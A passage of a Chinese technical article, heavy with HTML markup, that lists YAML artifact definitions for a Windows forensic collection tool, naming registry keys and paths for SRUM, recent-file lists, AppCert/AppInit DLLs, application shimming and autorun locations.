leaf="">%%users_appdata%%\Microsoft\Windows\Recent\CustomDestinations\&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsSRUM</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">  SRUM（System Resource Usage Monitor，系统资源使用监控器）是自 Windows 8</span><span leaf=""><br/></span><span leaf="">  起引入的一个系统组件，用于记录和监控系统资源的详细使用情况。SRUM 会持续采集并保存如下数据：</span><span leaf=""><br/></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">各个进程/应用的CPU、内存、网络、能耗等资源消耗</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">网络连接的应用、IP、流量统计</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">用户活动（如程序启动、前台/后台运行情况）</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">这些数据会被系统用于电池优化、能耗分析、网络流量统计等内部用途，但对于数字取证来说，SRUM</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">是一个极其宝贵的用户行为和系统活动历史分析源。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">PATH</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">C:\Windows\System32\sru\</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsLastVisitedMRU</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">  LastVisitedMRU 是 Windows</span><span leaf=""><br/></span><span leaf="">  注册表中用于记录资源管理器（Explorer）或常见文件对话框中“最近访问过的文件夹/路径”历史的一个项目。</span><span leaf=""><br/></span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">在数字取证中，LastVisitedMRU</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">可还原用户最近通过“打开/保存”对话框访问过哪些文件夹，属于用户操作轨迹的重要部分。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_KEY</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRULegacy</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU\*\</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf=""><a href="https://www.cybertriage.com/artifact/windows-opensave-mru-artifact/" target="_blank">https://www.cybertriage.com/artifact/windows-opensave-mru-artifact/</a></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsRecentDocs</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">平台上用于记录该用户最近打开过的文件列表，也就是</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">“最近文档”功能的核心数据源。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_KEY</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs</span><span leaf=""><br/></span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上的近期活动，这里包括了多个 Artifact</span><strong style="font-weight: bold;color: black;"><span leaf="">需要注意：</span></strong><span leaf=""> Amcache 文件无法直接采集，需要外部工具协助，上面使用的是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">AmcacheParser</span></code><span leaf=""> 来辅助先在用户目录生成解析后的 csv 文件，之后在使用文件采集的方法进行采集。收集器支持 source 的串行执行。 所以需要大家自行下载 AmcacheParser 放入到 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.\tools</span></code><span leaf=""> 目录或直接使用项目附带的 。</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">官方下载地址 <a href="https://ericzimmerman.github.io/#!index.md" target="_blank">https://ericzimmerman.github.io/#!index.md</a> <a href="https://github.com/EricZimmerman/AmcacheParser?tab=readme-ov-file" target="_blank">https://github.com/EricZimmerman/AmcacheParser?tab=readme-ov-file</a></span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">AppCertDLLs.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsAppCertDLLs&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;AppCert DLLs 是 Windows 的一个高级进程拦截与注入机制，广泛用于安全产品、调试器、取证工具。\n当程序使用 CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW 或 WinExec 等函数时，这些进程会获取HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\SessionManager\\AppCertDlls注册表项，此项下的dll都会加载到此进程。&#34;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">AppCert DLLs</span></code><span leaf=""> 信息，该内容常被用来进程拦截与注入</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">AppInitDLL.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsAppInitDLL&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_VALUE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;AppInit_DLLs&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;AppInit_DLLs&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;AppInit DLLs 是 Windows 系统提供的一种全局 DLL 注入机制，用于让指定的 DLL 自动加载到所有使用 User32.dll 的进程（几乎所有带 GUI 的应用程序）中。&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">AppInit DLLs</span></code><span leaf=""> 信息，其可以被用来全局 DLL 注入</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">ApplicationShimming.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsApplicationShimming&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_windir%%\AppPatch\&#39;</span><span leaf=""><br/></span><span leaf="">  - type: &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Application Shimming（应用程序垫片/兼容性垫片）\n是 Windows 系统内置的一种兼容性子系统机制，允许为指定程序注入“垫片”代码，以“修正”或“修改”程序的运行行为。&#34;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Application Shimming</span></code><span leaf=""> 信息，这也是与程序注入相关的内容</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">AutoRun.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsAutoRun&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_appdata%%\Microsoft\Windows\Start&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_programdata%%\Microsoft\Windows\Start Menu\Programs\Startup&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_systemdrive%%\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span 